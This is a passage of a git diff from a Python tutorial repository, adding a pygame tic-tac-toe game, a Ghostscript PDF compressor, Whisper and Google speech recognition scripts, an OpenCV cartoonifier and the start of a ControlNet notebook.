+ self._change_player() + except: + print("Click inside the table only") + + + # draws character of the recent player to the selected table cell + def _draw_char(self, x, y, player): + if self.player == "O": + img = pygame.image.load("images/Tc-O.png") + elif self.player == "X": + img = pygame.image.load("images/Tc-X.png") + img = pygame.transform.scale(img, (self.cell_size, self.cell_size)) + screen.blit(img, (x * self.cell_size, y * self.cell_size, self.cell_size, self.cell_size)) + + + # instructions and game-state messages + def _message(self): + if self.winner is not None: + screen.fill(self.game_over_bg_color, (130, 445, 193, 35)) + msg = self.font.render(f'{self.winner} WINS!!', True, self.game_over_color) + screen.blit(msg,(144,445)) + elif not self.taking_move: + screen.fill(self.game_over_bg_color, (130, 445, 193, 35)) + instructions = self.font.render('DRAW!!', True, self.game_over_color) + screen.blit(instructions,(165,445)) + else: + screen.fill(self.background_color, (135, 445, 188, 35)) + instructions = self.font.render(f'{self.player} to move', True, self.instructions_color) + screen.blit(instructions,(135,445)) + + + def _game_check(self): + # vertical check + for x_index, col in enumerate(self.table): + win = True + pattern_list = [] + for y_index, content in enumerate(col): + if content != self.player: + win = False + break + else: + pattern_list.append((x_index, y_index)) + if win == True: + self._pattern_strike(pattern_list[0],pattern_list[-1],"ver") + self.winner = self.player + self.taking_move = False + break + + # horizontal check + for row in range(len(self.table)): + win = True + pattern_list = [] + for col in range(len(self.table)): + if self.table[col][row] != self.player: + win = False + break + else: + pattern_list.append((col, row)) + if win == True: + self._pattern_strike(pattern_list[0],pattern_list[-1],"hor") + self.winner = self.player + self.taking_move = False + break + + # left diagonal check + for index, row in enumerate(self.table): + win = True + if row[index] != self.player: + win = False + break + if win == True: + self._pattern_strike((0,0),(2,2),"left-diag") + self.winner = self.player + self.taking_move = False + + # right diagonal check + for index, row in enumerate(self.table[::-1]): + win = True + if row[index] != self.player: + win = False + break + if win == True: + self._pattern_strike((2,0),(0,2),"right-diag") + self.winner = self.player + self.taking_move = False + + # blank table cells check + blank_cells = 0 + for row in self.table: + for cell in row: + if cell == "-": + blank_cells += 1 + if blank_cells == 0: + self.taking_move = False + + + # strikes a line to winning patterns if already has + def _pattern_strike(self, start_point, end_point, line_type): + # gets the middle value of the cell + mid_val = self.cell_size // 2 + + # for the vertical winning pattern + if line_type == "ver": + start_x, start_y = start_point[0] * self.cell_size + mid_val, self.table_space + end_x, end_y = end_point[0] * self.cell_size + mid_val, self.table_size - self.table_space + + # for the horizontal winning pattern + elif line_type == "hor": + start_x, start_y = self.table_space, start_point[-1] * self.cell_size + mid_val + end_x, end_y = self.table_size - self.table_space, end_point[-1] * self.cell_size + mid_val + + # for the diagonal winning pattern from top-left to bottom right + elif line_type == "left-diag": + start_x, start_y = self.table_space, self.table_space + end_x, end_y = self.table_size - self.table_space, self.table_size - self.table_space + + # for the diagonal winning pattern from top-right to bottom-left + elif line_type == "right-diag": + start_x, start_y = self.table_size - self.table_space, self.table_space + end_x, end_y = self.table_space, self.table_size - self.table_space + + # draws the line strike + line_strike = pygame.draw.line(screen, self.line_color, [start_x, start_y], [end_x, end_y], 8) + + + def main(self): + screen.fill(self.background_color) + self._draw_table() + while self.running: + self._message() + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + if self.event.type == pygame.MOUSEBUTTONDOWN: + if self.taking_move: + self._move(self.event.pos) + + pygame.display.flip() + self.FPS.tick(60) + + +if __name__ == "__main__": + g = TicTacToe(window_size[0]) + g.main() \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/README.md b/handling-pdf-files/pdf-compressor/README.md index 4527174c..307f105c 100644 --- a/handling-pdf-files/pdf-compressor/README.md +++ b/handling-pdf-files/pdf-compressor/README.md @@ -1,8 +1,48 @@ # [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python) -To run this: -- `pip3 install -r requirements.txt` -- To compress `bert-paper.pdf` file: - ``` - $ python pdf_compressor.py bert-paper.pdf bert-paper-min.pdf - ``` - This will spawn a new compressed PDF file under the name `bert-paper-min.pdf`. + +This directory contains two approaches: + +- Legacy (commercial): `pdf_compressor.py` uses PDFTron/PDFNet. PDFNet now requires a license key and the old pip package is not freely available, so this may not work without a license. +- Recommended (open source): `pdf_compressor_ghostscript.py` uses Ghostscript to compress PDFs. + +## Ghostscript method (recommended) + +Prerequisite: Install Ghostscript + +- macOS (Homebrew): + - `brew install ghostscript` +- Ubuntu/Debian: + - `sudo apt-get update && sudo apt-get install -y ghostscript` +- Windows: + - Download and install from https://ghostscript.com/releases/ + - Ensure `gswin64c.exe` (or `gswin32c.exe`) is in your PATH. + +No Python packages are required for this method, only Ghostscript. + +### Usage + +To compress `bert-paper.pdf` into `bert-paper-min.pdf` with default quality (`power=2`): + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf +``` + +Optional quality level `[power]` controls compression/quality tradeoff (maps to Ghostscript `-dPDFSETTINGS`): + +- 0 = `/screen` (smallest, lowest quality) +- 1 = `/ebook` (good quality) +- 2 = `/printer` (high quality) [default] +- 3 = `/prepress` (very high quality) +- 4 = `/default` (Ghostscript default) + +Example: + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf 1 +``` + +In testing, `bert-paper.pdf` (~757 KB) compressed to ~407 KB with `power=1`. + +## Legacy PDFNet method (requires license) + +If you have a valid license and the PDFNet SDK installed, you can use the original `pdf_compressor.py` script. Note that the previously referenced `PDFNetPython3` pip package is not freely available and may not install via pip. Refer to the vendor's documentation for installation and licensing. \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py new file mode 100644 index 00000000..88de4062 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py @@ -0,0 +1,103 @@ +import os +import sys +import subprocess +import shutil + + +def get_size_format(b, factor=1024, suffix="B"): + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def find_ghostscript_executable(): + candidates = [ + shutil.which('gs'), + shutil.which('gswin64c'), + shutil.which('gswin32c'), + ] + for c in candidates: + if c: + return c + return None + + +def compress_file(input_file: str, output_file: str, power: int = 2): + """Compress PDF using Ghostscript. + + power: + 0 -> /screen (lowest quality, highest compression) + 1 -> /ebook (good quality) + 2 -> /printer (high quality) [default] + 3 -> /prepress (very high quality) + 4 -> /default (Ghostscript default) + """ + if not os.path.exists(input_file): + raise FileNotFoundError(f"Input file not found: {input_file}") + if not output_file: + output_file = input_file + + initial_size = os.path.getsize(input_file) + + gs = find_ghostscript_executable() + if not gs: + raise RuntimeError( + "Ghostscript not found. Install it and ensure 'gs' (Linux/macOS) " + "or 'gswin64c'/'gswin32c' (Windows) is in PATH." + ) + + settings_map = { + 0: '/screen', + 1: '/ebook', + 2: '/printer', + 3: '/prepress', + 4: '/default', + } + pdfsettings = settings_map.get(power, '/printer') + + cmd = [ + gs, + '-sDEVICE=pdfwrite', + '-dCompatibilityLevel=1.4', + f'-dPDFSETTINGS={pdfsettings}', + '-dNOPAUSE', + '-dBATCH', + '-dQUIET', + f'-sOutputFile={output_file}', + input_file, + ] + + try: + subprocess.run(cmd, check=True) + except subprocess.CalledProcessError as e: + print(f"Ghostscript failed: {e}") + return False + + compressed_size = os.path.getsize(output_file) + ratio = 1 - (compressed_size / initial_size) + summary = { + "Input File": input_file, + "Initial Size": get_size_format(initial_size), + "Output File": output_file, + "Compressed Size": get_size_format(compressed_size), + "Compression Ratio": f"{ratio:.3%}", + } + + print("## Summary ########################################################") + for k, v in summary.items(): + print(f"{k}: {v}") + print("###################################################################") + return True + + +if __name__ == '__main__': + if len(sys.argv) < 3: + print("Usage: python pdf_compressor_ghostscript.py [power 0-4]") + sys.exit(1) + input_file = sys.argv[1] + output_file = sys.argv[2] + power = int(sys.argv[3]) if len(sys.argv) > 3 else 2 + ok = compress_file(input_file, output_file, power) + sys.exit(0 if ok else 2) \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/requirements.txt b/handling-pdf-files/pdf-compressor/requirements.txt index 0a664a86..9f6e5337 100644 --- a/handling-pdf-files/pdf-compressor/requirements.txt +++ b/handling-pdf-files/pdf-compressor/requirements.txt @@ -1 +1,7 @@ -PDFNetPython3==8.1.0 \ No newline at end of file +# No Python dependencies required for Ghostscript-based compressor. +# System dependency: Ghostscript +# - macOS: brew install ghostscript +# - Debian: sudo apt-get install -y ghostscript +# - Windows: https://ghostscript.com/releases/ +# +# The legacy script (pdf_compressor.py) depends on PDFNet (commercial) and a license key. \ No newline at end of file diff --git a/images/codingfleet-banner-2.png b/images/codingfleet-banner-2.png new file mode 100644 index 00000000..e95c4d27 Binary files /dev/null and b/images/codingfleet-banner-2.png differ diff --git a/images/codingfleet-banner-3.png b/images/codingfleet-banner-3.png new file mode 100644 index 00000000..9f27495e Binary files /dev/null and b/images/codingfleet-banner-3.png differ diff --git a/images/iproyal-1.png b/images/iproyal-1.png new file mode 100644 index 00000000..9e607e13 Binary files /dev/null and b/images/iproyal-1.png differ diff --git a/machine-learning/asr/7601-291468-0006.wav b/machine-learning/asr/7601-291468-0006.wav new file mode 100644 index 00000000..0f6d5f83 Binary files /dev/null and b/machine-learning/asr/7601-291468-0006.wav differ diff --git a/machine-learning/asr/OSR_us_000_0060_8k.wav b/machine-learning/asr/OSR_us_000_0060_8k.wav new file mode 100644 index 00000000..e08c027e Binary files /dev/null and b/machine-learning/asr/OSR_us_000_0060_8k.wav differ diff --git a/machine-learning/asr/README.md b/machine-learning/asr/README.md new file mode 100644 index 00000000..b3f973bf --- /dev/null +++ b/machine-learning/asr/README.md @@ -0,0 +1 @@ +# [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python) \ No newline at end of file diff --git a/machine-learning/asr/arabic-audio.wav b/machine-learning/asr/arabic-audio.wav new file mode 100644 index 00000000..e20c35a4 Binary files /dev/null and b/machine-learning/asr/arabic-audio.wav differ diff --git a/machine-learning/asr/cual-es-la-fecha-cumple.mp3 b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 new file mode 100644 index 00000000..2ab59991 Binary files /dev/null and b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 differ diff --git a/machine-learning/asr/requirements.txt b/machine-learning/asr/requirements.txt new file mode 100644 index 00000000..c9d74b1c --- /dev/null +++ b/machine-learning/asr/requirements.txt @@ -0,0 +1,8 @@ +transformers==4.28.1 +soundfile +sentencepiece +torchaudio +pydub +openai +SpeechRecognition +pyaudio \ No newline at end of file diff --git a/machine-learning/asr/speechrecognition.py b/machine-learning/asr/speechrecognition.py new file mode 100644 index 00000000..e9f09883 --- /dev/null +++ b/machine-learning/asr/speechrecognition.py @@ -0,0 +1,105 @@ +# importing libraries +import speech_recognition as sr +import os +from pydub import AudioSegment +from pydub.silence import split_on_silence + +# create a speech recognition object +r = sr.Recognizer() + +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +if __name__ == "__main__": + print(get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper.py b/machine-learning/asr/transformers_whisper.py new file mode 100644 index 00000000..df8b2736 --- /dev/null +++ b/machine-learning/asr/transformers_whisper.py @@ -0,0 +1,63 @@ +from transformers import WhisperProcessor, WhisperForConditionalGeneration +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +# load the model and the processor +whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): + # resample from whatever the audio sampling rate to 16000 + speech = load_audio(audio_path) + # get the input features from the audio file + input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features.to(device) + # get the forced decoder ids + forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") + # print(forced_decoder_ids) + # generate the transcription + predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) + # decode the predicted ids + transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] + return transcription + + +if __name__ == "__main__": + english_transcription = get_transcription_whisper("7601-291468-0006.wav", + whisper_model, + whisper_processor, + language="english", + skip_special_tokens=True) + print("English transcription:", english_transcription) + arabic_transcription = get_transcription_whisper("arabic-audio.wav", + whisper_model, + whisper_processor, + language="arabic", + skip_special_tokens=True) + print("Arabic transcription:", arabic_transcription) + spanish_transcription = get_transcription_whisper("cual-es-la-fecha-cumple.mp3", + whisper_model, + whisper_processor, + language="spanish", + skip_special_tokens=True) + print("Spanish transcription:", spanish_transcription) + \ No newline at end of file diff --git a/machine-learning/asr/transformers_whisper_long.py b/machine-learning/asr/transformers_whisper_long.py new file mode 100644 index 00000000..1f7916c8 --- /dev/null +++ b/machine-learning/asr/transformers_whisper_long.py @@ -0,0 +1,44 @@ + +from transformers import pipeline +import torch +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +# whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + + +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=1): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + + +if __name__ == "__main__": + # initialize the pipeline + pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + # get the transcription of a sample long audio file + output = get_long_transcription_whisper( + "7601-291468-0006.wav", pipe, chunk_length_s=10, stride_length_s=2) + print(f"Transcription: {output}") + print("="*50) + for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api.py b/machine-learning/asr/whisper_api.py new file mode 100644 index 00000000..8187277d --- /dev/null +++ b/machine-learning/asr/whisper_api.py @@ -0,0 +1,16 @@ +import openai + +# API key +openai.api_key = "" + +def get_openai_api_transcription(audio_filename): + # open the audio file + with open(audio_filename, "rb") as audio_file: + # transcribe the audio file + transcription = openai.Audio.transcribe("whisper-1", audio_file) # whisper-1 is the model name + return transcription + + +if __name__ == "__main__": + transcription = get_openai_api_transcription("7601-291468-0006.wav") + print(transcription.get("text")) \ No newline at end of file diff --git a/machine-learning/asr/whisper_api_long.py b/machine-learning/asr/whisper_api_long.py new file mode 100644 index 00000000..7768749b --- /dev/null +++ b/machine-learning/asr/whisper_api_long.py @@ -0,0 +1,77 @@ +from pydub.silence import split_on_silence +from pydub import AudioSegment +from whisper_api import get_openai_api_transcription +import os + +# a function that splits the audio file into chunks +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into 5-minute chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + transcription = get_openai_api_transcription(chunk_filename) + print(f"{chunk_filename}: {transcription.get('text')}") + whole_text += " " + transcription.get("text") + # return the text for all chunks detected + return whole_text + + + +if __name__ == "__main__": + # print("\nFull text:", get_large_audio_transcription_fixed_interval("032.mp3", minutes=1)) + print("\nFull text:", get_large_audio_transcription_on_silence("7601-291468-0006.wav")) \ No newline at end of file diff --git a/machine-learning/cartoonify-images/README.md b/machine-learning/cartoonify-images/README.md new file mode 100644 index 00000000..29d1ccd1 --- /dev/null +++ b/machine-learning/cartoonify-images/README.md @@ -0,0 +1 @@ +# [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python) \ No newline at end of file diff --git a/machine-learning/cartoonify-images/cartooned_hazrard2.jpg b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg new file mode 100644 index 00000000..51166476 Binary files /dev/null and b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/cartoonifier.py b/machine-learning/cartoonify-images/cartoonifier.py new file mode 100644 index 00000000..24bcd785 --- /dev/null +++ b/machine-learning/cartoonify-images/cartoonifier.py @@ -0,0 +1,44 @@ +import cv2, argparse, sys + + +# In this function, we accept an image and convert it to a cartoon form. +def cartoonizer(image_name): + # Load the image to cartoonize. + image_to_animate = cv2.imread(image_name) + + # Apply a bilateral filter to smoothen the image while preserving edges. + smoothened_image = cv2.bilateralFilter(image_to_animate, d=9, sigmaColor=75, sigmaSpace=75) + + # Convert image to gray and create an edge mask using adaptive thresholding. + gray_image = cv2.cvtColor(smoothened_image, cv2.COLOR_BGR2GRAY) + edges = cv2.adaptiveThreshold(gray_image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + + # Combine the smoothened image and the edge mask to create a cartoon-like effect. + to_cartoon = cv2.bitwise_and(smoothened_image, smoothened_image, mask=edges) + + # Save the cartoon image in our current directory. A new Image would be generated in your current directory. + cartooned_image = f"cartooned_{image_name}" + cv2.imwrite(cartooned_image, to_cartoon) + + # Display the result. + cv2.imshow("Cartooned Image", to_cartoon) + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# In this function, we accept user's argument from the terminal. -i or --image to specify the image. +def get_image_argument(): + parser = argparse.ArgumentParser(description="Please specify an image to 'cartoonify'.") + parser.add_argument('-i', '--image', help="Please use -h or --help to see usage.", dest='image') + argument = parser.parse_args() + + if not argument.image: + print("[-] Please specify an image. Use --help to see usage.") + sys.exit() # Exit the program + + return argument + + +# We get the user's input (image) from the terminal and pass it into cartoonizer function. +image_args = get_image_argument() +cartoonizer(image_args.image) diff --git a/machine-learning/cartoonify-images/hazrard2.jpg b/machine-learning/cartoonify-images/hazrard2.jpg new file mode 100644 index 00000000..ccb1dd9a Binary files /dev/null and b/machine-learning/cartoonify-images/hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/requirements.txt b/machine-learning/cartoonify-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/machine-learning/cartoonify-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..e2500451 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb @@ -0,0 +1,20363 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "8_55MSKhrtss", + "outputId": "44fe5aac-1542-4f19-b926-6fee990835e9" + }, + "outputs": [], + "source": [ + "!pip install -qU xformers diffusers transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Xrl7OL6BrtpU", + "outputId": "9525d6ad-4af6-4a9f-98b0-6d76308fdf13" + }, + "outputs": [], + "source": [ + "!pip install -qU controlnet_aux\n", + "!pip install opencv-contrib-python" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "h6XPbq0FrPQG" + }, + "source": [ + "# Open Pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0wEufS0RrObO", + "outputId": "77977e89-4b72-4a5d-b39a-801953031247" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from controlnet_aux import OpenposeDetector\n", + "from diffusers.utils import load_image\n", + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 662, + "referenced_widgets": [ + "a74467c946df4fe99fba1b2751a0cad1", + "48dabed3f2ce465ab16a704e0c6b12f7", + "810aba56f12342fcbcb7344d08235ec8", + "0dc0896c330d417a8b452d27699f86bf", + "9074425e4bf04c428926f5504cd3a8de", + "962917ac2b044e5989e88100ceb45296", + "a212be07369b404eb9f04a9cde6543d4", + "bf52593db97e4b5f876d22d5c27e8c0d", + "ed79049f4f3a41899ce7744c6733bf27", + "6fbeaf60da4746b6a1c02a211657886b", + "9d1f8ee81b994f94882d776f6e401f02", + "d14a6ce3bc334df5a2f319932fd9a338", + "05ba62113d1840c38f0bcf8f291f7439", + "117ca4fd09bb4ebeb8eae3ba5c3112f5", + "b2fad15effb84bce8aac9b9d2bf94b19", + "78493887a0f5466cbfe8dff7f5fbd801", + "5850294bc56d489cb8eb90483f77254e", + "9d2061e3643940f496528dc7ad6e6e2e", + "52403e4bc442416fac24e0880f2a3faf", + "38eb1d06f0094645944b5d305b575927", + "4e264753749d48a8aab85b9f8fe30aba", + "014e701444c54eee97d0b36ea38344ab", + "b57cb9d64aa44f748fc6cffc6f95f5a3", + "335f1c1d85ec4723b8796b79d518c7be", + "e9ef39e82cf645e396daea04a1e178f1", + "97570891602f4963bdfaacd309438ca7", + "036af165dae748a19a3691dbe74e7a1a", + "f9f461994c7e41aba3124dd5ee0b1525", + "3e7b34f2b1764dbb82caaf245771abc0", + "02f92b3266a54cc1885140f1a378d784", + "d504edae2a2f4beb851928ca770b2701", + "93d2d9e917d84072ae401952c12904bf", + "636973b7927b44bbaac28737227e7599", + "9a3d9f15c9b8495498d8910dc60d9fc0", + "aec13914c37649feb868b8f531a07a83", + "4b4b8aee32724ff5b0a40f9af956fe72", + "b3967f91f621495cb1715427fcc57011", + "d5b65c5e85704b02be5a0fa2ab7569fa", + "fd3e1648c2b84f5f81cd7ee3d2fbc4c0", + "25d1091281ad407c833a36c7e421e1e2", + "15c1713762124e828b20f54684e496d0", + "e16487cbe8d74b5baad0d41dbdeeedbb", + "d4b746bc99074570a82175ef438cfb10", + "8f92d6ba8bd04fabb8e6dddf0c7dfa44", + "352a7d961cac483a82ea16cdb77a0368", + "20285260958f4620b906e7a21f44c555", + "85caf1e9b73e46cea1ce2c4ebf92554b", + "23460450a39c44e488bce836dac8b997", + "261e963568fc4a24af694276311c3b18", + "7e03365b6d25414eb845c51aa30e3d2c", + "199a4465ee984eff971c999393c4e497", + "4332d0e942ea406daeca4e1bbd36d4cb", + "44d7b2f89c984dcda69f368adbdf846f", + "0f796401fadb4649a30effd4c66e058f", + "33ef3f5248c14c4f8dd2d4a7bf0038a9", + "64e440c8c82144beaec1e1d61cd5e9e0", + "64180e5dd63840e3bb21af7aefa3cf45", + "abb332369a9b4996b84d77eee7e5dc0a", + "e69330feb37747c5b22d4dd215f934bd", + "41cb4b504f3e45ea847e1cd74ae449d0", + "c7b630dc7b8448219ca505398c12afef", + "81f9fd794d22477f8836a11322d5325b", + "ec96bfae8c9c48e5827755ce0e8a885f", + "0c6beb3311554ae1b3bea23eadf8620d", + "cb4c90617e8e4ef08052ade1d2694589", + "6ca7d8cb9ad2472bad727eba7c993816", + "eb5ef899d10b442ca8bd3ec6c1fbf1f3", + "b6f79be711a94896ba08b0af7293cd04", + "f2ec0ba35adb4084b2ef73e4d384f6fd", + "5b6fcc006e8b47c4a416e38991201a42", + "635b3c726b5049818d8384ad992e2550", + "182d76403d844b96bd20c3a7c49b4357", + "c81fe2532ac14ae6a5411a866f8e42ac", + "9ef7b0ea4e4e46b18953056deaa6cf95", + "2d76832bc7834ef6b683ef6829f83861", + "2caabb6f82ef46ecbda6c0baf215d72a", + "f1e983f41294422087b5be9a9df11fa3", + "9b78deeeaec149339134750de6ba1fcf", + "a207168326fd45159d8eec29ea91ccac", + "425d719b752b4a1480f8c3f8b9388e50", + "8baeb11dd15840e691eadde3f79bf4f2", + "6b872da2a0944f5da6eb68792937311b", + "848755aa7d4a4889b85870aac916c5ff", + "922d64656ae0415795f9e50e79d5d5f8", + "8ff9c129cb434f9bbab238f1779c9b0b", + "7e5f077830e94e278b213ee5f11739d9", + "97348ede0e464090845a56a64a53e493", + "282f7b2aeec54a81b94da85c85c7cb75", + "9a56fa1ecaee4be3954540e95a7c8990", + 